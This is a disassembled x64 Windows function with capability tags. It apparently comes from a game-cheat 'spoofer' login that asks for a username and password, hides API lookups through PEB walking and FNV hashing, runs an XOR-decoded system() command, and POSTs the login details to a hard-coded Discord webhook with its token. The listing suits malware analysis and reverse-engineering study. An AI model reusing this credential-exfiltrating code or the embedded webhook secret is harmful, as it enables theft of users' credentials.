Function at 0x140040680
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Hash data using fnv
Initialize winhttp library
Prepare http request
Receive http response
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x140079040]
xor rax, rsp
mov qword [rbp + 0x120], rax
xor r12d, r12d
mov r15d, r12d
mov dword [rsp + 0x40], r12d
mov eax, dword [str.TTJ:_UPYeMZ_.1_e___i9.______11VdHVU_YY_s_Z]
mov dword [rsp + 0x40], eax
lea edx, [r12 + 0x1f]
cmp byte [0x14006f8c7], r12b
je 0x1400407b0
cmp dword [0x140079020], 2
jl 0x140040777
movdqa xmm3, xmmword [0x140070090]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400700e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400700e0]
shufps xmm2, xmm0, 0xdd
mov ecx, 4
movd xmm0, ecx
psrad xmm2, xmm0
movd xmm0, edx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400700b0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400700c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.7777777777777777]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x40], xmm2
jmp 0x1400407b0
lea r9, [rsp + 0x40]
mov r8d, r12d
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140040780
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov rsi, r12
mov qword [rbp + 0x90], r12
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x98], r14
mov byte [rbp + 0x80], sil
movups xmmword [rbp + 0xe0], xmm0
movdqa xmm1, xmmword [0x140070070]
movdqu xmmword [rbp + 0xf0], xmm1
mov byte [rbp + 0xe0], 0
call fcn.14005c780
cmp al, 1
jne 0x140040850
call fcn.14005c770
test al, al
jne 0x140040850
lea rcx, [rbp + 0x100]
call fcn.14005fd40
lea r15d, [r14 - 0xe]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140040831
mov rax, qword [rax]
cmp r8, 3
jne 0x140040850
lea rdx, [0x14006f500]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140040850
movzx ebx, r15b
jmp 0x140040852
xor bl, bl
test r15b, 1
je 0x1400408a0
and r15d, 0xfffffffe
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1400408a0
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004089b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004089b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
test bl, bl
je 0x140040a5b
lea rdx, str.Username:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003e4a0
lea rdx, [rbp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046790
lea rdx, str.Password:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003e4a0
lea rdx, [rbp + 0xe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046790
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140040986
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140040986
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140040981
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140040960
cmp r8d, 0x491e0a9c
je 0x14004098b
test r9d, r9d
jne 0x140040940
mov rax, qword [rax]
jmp 0x140040910
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [0x14006f524]
call rdx
lea rax, [rbp + 0x20]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x20]
call fcn.14003fb60
mov rbx, rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x40]
call fcn.14003fb60
nop
mov rdx, rbx
mov rcx, rax
call fcn.140058ff0
test al, al
je 0x140040bc6
call fcn.14005c780
test al, al
jne 0x140040a09
call fcn.14005c770
test al, al
je 0x140040a09
lea rcx, [rbp]
call fcn.14005fd40
or r15d, 2
test r15b, 2
je 0x140040a4d
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140040a4d
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040a48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140040a48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
mov r14, qword [rbp + 0x98]
mov rsi, qword [rbp + 0x90]
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x14006f528]
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp - 0x70], rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp - 0x78], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str._api_webhooks_1184552040987373659_c22l0j_2AQDmlsFXr0cOuO9c579YmZ3meTUD_pyH5vougCxyE9Tvue2mJtDHZxTV_244
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov ecx, 0x20
call fcn.140061a60
mov r13, rax
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x110], 0x1d
mov qword [rbp + 0x118], 0x1f
movups xmm0, xmmword [str.User_Logged_into_Paid_spoofer]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x14006f660]
movsd qword [rax + 0x10], xmm1
mov eax, dword [0x14006f668]
mov dword [r13 + 0x18], eax
movzx eax, byte [0x14006f66c]
mov byte [r13 + 0x1c], al
mov byte [r13 + 0x1d], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0x2f
jb 0x1400412e2
lea rdx, [rbp + 0x80]
mov r15, qword [rbp + 0x80]
cmp r14, 0x10
cmovae rdx, r15
mov qword [rsp + 0x40], rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea r12, [rsi + 0x2f]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp + 0x60]
cmp r12, rbx
jbe 0x140040c1f
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x140040bdd
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140061a60
test rax, rax
je 0x140041215
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rdx, qword [rsp + 0x40]
jmp 0x140040c1b
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov eax, reloc.WS2_32.dll_shutdown
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140040c05
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400412e8
jmp 0x140040ba2
test rcx, rcx
je 0x140040c19
call fcn.140061a60
mov rdi, rax
mov rdx, qword [rsp + 0x40]
jmp 0x140040c1b
xor edi, edi
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], rbx
movups xmm0, xmmword [str._________________________________UserName_:]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14006f680]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [0x14006f690]
movsd qword [rdi + 0x20], xmm0
mov eax, dword [0x14006f698]
mov dword [rdi + 0x28], eax
movzx eax, word [0x14006f69c]
mov word [rdi + 0x2c], ax
movzx eax, byte [0x14006f69e]
mov byte [rdi + 0x2e], al
lea rcx, [rdi + 0x2f]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r12], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], 8
mov qword [rbp + 0xd8], reloc.WS2_32.dll_ntohs
movabs rdi, 0x3937323134373631
mov qword [rbp + 0xc0], rdi
mov byte [rbp + 0xc8], 0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov ecx, 0x60
call fcn.140061a60
mov rcx, rax
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [0x140070080]
movdqu xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [str._username_:__H_Auth___content_:_null__embeds_:___title_:__]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14006f710]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x14006f720]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x14006f730]
movsd qword [rax + 0x30], xmm1
mov eax, dword [0x14006f738]
mov dword [rcx + 0x38], eax
movups xmm0, xmmword [r13]
movups xmmword [rcx + 0x3c], xmm0
movsd xmm1, qword [r13 + 0x10]
movsd qword [rcx + 0x4c], xmm1
mov eax, dword [r13 + 0x18]
mov dword [rcx + 0x54], eax
movzx eax, byte [r13 + 0x1c]
mov byte [rcx + 0x58], al
mov byte [rcx + 0x59], 0
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.___description_:__
lea rcx, [rbp - 0x20]
call fcn.140046580
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
lea r9, [rbp + 0x60]
mov r12, qword [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r9, r12
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x40], rcx
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
mov rsi, qword [rbp + 0x70]
cmp rsi, rax
ja 0x140040de9
lea rax, [rcx + rsi]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x68]
add rcx, rbx
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbx]
mov rcx, qword [rsp + 0x40]
mov byte [rax + rcx], 0
lea rax, [rsp + 0x68]
xor ebx, ebx
jmp 0x140040e02
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rsp + 0x68]
call fcn.140046e50
mov r12, qword [rbp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 0x29
lea rdx, str.___footer_:__text_:__By_48ik___color_:
lea rcx, [rbp - 0x48]
call fcn.140046580
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x140040eb4
lea rax, [rcx + 8]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x48]
mov qword [rcx + rax], rdi
mov byte [rcx + rax + 8], 0
lea rax, [rsp + 0x48]
jmp 0x140040edc
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0xc0]
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x48]
call fcn.140046e50
mov rdi, qword [rbp + 0xc0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str._____attachments_:___
lea rcx, [rbp - 0x68]
call fcn.140046580
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140040f96
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040f91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140040f91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
movdqa xmm0, xmmword [0x140070070]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140040fe7
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040fe2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140040fe2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
movdqa xmm0, xmmword [0x140070070]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140041038
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041033
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041033
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
movdqa xmm0, xmmword [0x140070070]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140041088
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041083
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041083
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
movdqa xmm0, xmmword [0x140070070]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400410d9
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400410d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400410d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
lea r9, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r9, qword [rbp + 0xa0]
mov qword [rsp + 0x30], rbx
mov eax, dword [rbp + 0xb0]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rbx, qword [rbp - 0x28]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14004112c
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14004118d
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041188
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041188
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
movdqa xmm0, xmmword [0x140070070]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1400411e5
inc rdx
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400411dc
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400411dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400617c0
nop
mov rax, qword [rbp + 0x78]
cmp rax, 0x10
jb 0x140041225
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14004121c
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004121c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.1400617c0
nop
mov edx, 0x20
mov rcx, r13
call fcn.1400617c0
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140041278
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041272
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041272
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400617c0
nop
cmp r14, 0x10
jb 0x1400412b2
lea rdx, [r14 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400412aa
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400412aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400617c0
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.1400617a0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140038510
nop
call fcn.140038470
int3